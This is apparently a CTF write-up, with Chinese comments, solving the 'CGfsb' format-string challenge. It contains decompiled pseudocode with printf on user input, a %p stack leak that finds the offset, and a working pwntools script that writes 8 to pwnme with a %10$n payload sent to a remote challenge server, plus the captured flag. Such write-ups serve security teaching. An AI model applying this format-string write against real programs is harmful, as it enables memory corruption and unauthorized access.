

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int buf; // [esp+1Eh] [ebp-7Eh]
    int v5; // [esp+22h] [ebp-7Ah]
    __int16 v6; // [esp+26h] [ebp-76h]
    char s; // [esp+28h] [ebp-74h]
    unsigned int v8; // [esp+8Ch] [ebp-10h]

    v8 = __readgsdword(0x14u);
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    buf = 0;
    v5 = 0;
    v6 = 0;
    memset(&s, 0, 0x64u);
    puts("please tell me your name:");
    read(0, &buf, 0xAu);
    puts("leave your message please.");
    fgets(&s, 100, stdin);
    printf("hello %s", &buf);
    puts("your message is:");
    printf(&s);
    if ( pwnme == 8 )
    {
        puts("you pwned me, here is your flag:\n");
        system("cat flag");
    }
    else
    {
        puts("Thank you!");
    }
    return 0;
}

```

000005CD|main:21 (80485CD)| |

可以看到有格式化字符串漏洞

```
IDA View-A Pseudocode-C Pseudocode-B Pseudocode-A Hex View-1 Structure
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 4
.bss:0804A068 public pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends
.prgend:0804A06C ; =====
.prgend:0804A06C ; Segment type: Zero-length
.prgend:0804A06C _prgend segment byte public '' use32
.prgend:0804A06C _end label byte
.prgend:0804A06C _prgend ends
.prgend:0804A06C ; =====
extern:0804A070 ; =====
extern:0804A070 ; Segment type: Externs
extern:0804A070 ; extern
extern:0804A070 ; void setbuf(FILE *stream, char *buf)
extern:0804A070 extrn setbuf:near ; CODE XREF: _setbuf↑j
extern:0804A070 ; DATA XREF: .got.plt:off_804A00C↑o
extern:0804A074 ; ssize_t read(int fd, void *buf, size_t nbytes)
extern:0804A074 extrn read:near ; CODE XREF: _read↑j
extern:0804A074 ; DATA XREF: .got.plt:off_804A010↑o
extern:0804A078 ; int printf(const char *format, ...)
extern:0804A078 extrn printf:near ; CODE XREF: _printf↑j
extern:0804A078 ; DATA XREF: .got.plt:off_804A014↑o
extern:0804A07C ; char *fgets(char *s, int n, FILE *stream)
extern:0804A07C extrn fgets:near ; CODE XREF: _fgets↑j
extern:0804A07C ; DATA XREF: .got.plt:off_804A018↑o
extern:0804A080 ; extern _stack_chk_fail:near
```

可以看出已经写入

```
桌面$ ./e41a0f684d0e497f87bb309f91737e4d
please tell me your name:
aaa
leave your message please:
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
hello aaa
your message is:
AAAA-0xffcaa13e-0xf7ede580-0x1-(nil)-0x1-0xf7f26990-0x61610001-0xa61-(n
il)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0
x70252d70-0x2d70252d-0x252d7025
Thank you!
桌面$
```

```

terminal - vim 11.py
1 from pwn import *
2
3 #r = process("./CGfsb")
4 r = remote('111.200.241.244',53600)
5
6 pwnme_addr = 0x0804A068          #pwnme地址在伪代码中
    哦
7 payload = p32(pwnme_addr) + b'aaaa' + b'%10$n'      #p
    经过32位编#码转换，是四位，而pwnme需要等于8，所以'aaa
    作用
8
9 r.recvuntil("please tell me your name:\n")
10 r.sendline('BurYiA')
11 r.recvuntil("leave your message please:\n")
12 r.sendline(payload)
13
14 r.interactive()

```

```

桌面$ python3 11.py
[+] Opening connection to 111.200.241.244 on port 53600: Done
[*] Switching to interactive mode
hello BurYiA
your message is:
h\xa0\x04aaaa
you pwned me, here is your flag:

cyberpeace{2c386a9fe25a1f02c3bc398bbaa1ce73}

```